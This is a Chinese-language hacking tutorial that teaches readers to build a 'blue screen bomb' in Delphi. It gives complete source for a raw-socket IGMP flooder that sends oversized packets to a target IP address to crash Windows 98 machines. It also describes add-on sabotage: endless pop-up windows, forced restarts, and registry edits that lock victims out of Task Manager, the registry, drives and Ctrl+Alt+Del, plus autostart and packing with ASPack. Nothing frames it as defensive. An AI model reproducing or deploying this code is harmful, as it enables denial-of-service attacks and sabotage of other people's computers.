原理
藍屏炸彈一般使用的是IGMP協定(Internet Group Management Protocol)由於IGMP是一種類似ICMP(PING報文)的一種無連線協定,所以在向伺服器連線時不需要指定連線的連線埠,只需要指定IP位址即可我們常用的WIN98系統因為不能很好的處理過大的IGMP數據包,很容易出現系統崩潰的情況,這就是IGMP協定被濫用為製作藍屏炸彈的原因.
炸彈功能
既然是炸彈,那當然要寫的厲害些,首先就要像很久以前那個網頁炸彈一樣,彈出無數個視窗,這個功能是給別人打馬虎眼的,讓他一心想著去阻止炸彈繼續的彈出視窗;第二個功能是專門針對windows XP而做的,當然也是在2004年第12期黑防雜誌上看到的---自動重啟計算機(如圖1),
那么下一項就是讓每一個人都感到鬱悶的事---修改註冊表。我今天教大家寫的炸彈實現的功能大部分還是靠註冊表,主要的功能還是要禁止中招的人打開任務管理器,禁止使用註冊表,隱藏桌面所有圖示,禁止使用開始選單裡面的運行,搜尋,關機,禁止ctrl+alt+del里的內容,禁止使用IE瀏覽器里的所有屬性,禁止C糟,D糟等盤,這樣的結果看上去一定很可怕,如果我們禁止右鍵或者加那么一點點的代碼設成開機自動運行,那後果會是什麼樣的就可想而知了吧
製作方法
打開DELPHI,新建一個Console Application這是一個命令行的程式,在MS-DOS方式窗體中執行,例如我們的程式編譯後檔案名稱是NUKE.EXE,你就可以在MS-DOS方式窗體輸入NUKE XXX.XXX.XXX.XXX 65536 50
其中XXX.XXX.XXX.XXX是目標的IP位址;65536是數據包大小這裡是64K,50是傳送次數,這裡我們的程式就用到了3個參數的傳遞,在DELPHI中我們就可以使用ParamStr()來獲得。
program IgmpNuke;
{$APPTYPE CONSOLE}
uses SysUtils, Windows, WinSock;//因為用到WINSOCK API請把Winsock unit加入Uses項中
var S: TSocket;
PSize: Integer;
Times: Integer;
Addr: TSockAddr;
wsaData:TWSAData;
Pack: Pchar;
begin
WSAStartup(Word(2),wsaData);//初始化WINSOCK,要求最低版本是2;
if ParamStr(1)'' then begin //獲得第一個參數,如果為空的話,跳到最後輸出使用格式。
S:=Socket(AF_INET, SOCK_RAW, IPPROTO_IGMP);//為SOCKET指定協定為IGMP
if S = INVALID_SOCKET then begin
WriteLn('Create Socket Error:'+ IntToStr(GetLastError()));
exit;
end;
PSize:=StrToInt(ParamStr(2));//獲得第二個參數,為數據包大小;
Times:=StrToInt(ParamStr(3));//獲得第三個參數,為傳送次數;
GetMem(Pack,PSize);//分配一段記憶體,大小為包的大小;
Addr.sin_family:=AF_INET;//指定使用的協定簇;
Addr.sin_addr.S_addr:=inet_addr(Pchar(ParamStr(1)));//指定目標的IP位址;當然要經過inet_addr函式轉換;
if Connect(S,Addr,SizeOf(Addr))0 then begin
WriteLn('Connect Error (Code):'+IntToStr(GetLastError()));
Exit;
end;
//以下開始循環傳送,使用Send api;
Repeat
Send(S,Pack^,PSize,0);
dec(Times); //每次傳送後使傳送次數減一;
Write('.');
until Times=0;
WriteLn('');
WriteLn('Nuke: '+ParamStr(1)); //顯示一下信息;
WriteLn('Packet Size: '+ParamStr(2));
WriteLn('Times: '+ParamStr(3));
WriteLn('GwNuker1.0');
WriteLn('Welcome to ');//做一下廣告,呵呵。
end else begin
WriteLn('Nuke xxx.xxx.xxx.xxx PackSize Times');
end;
FreeMem(Pack);//釋放剛才分配的記憶體;
WSACleanup;//釋放Winsock資源;
end.
好了一個命令行版本的“藍屏炸彈”就這樣寫好了,編譯成EXE檔案,看看只有40K左右,還可以用ASPack壓縮的喔!!廣外女生有這樣小的體積,不是單純依靠壓縮軟體的喔,只要在編程的時候減少使用窗體或可視化控制項,就可以大大減少自己程式的大小,這是女生和冰河等國產木馬不同的地方。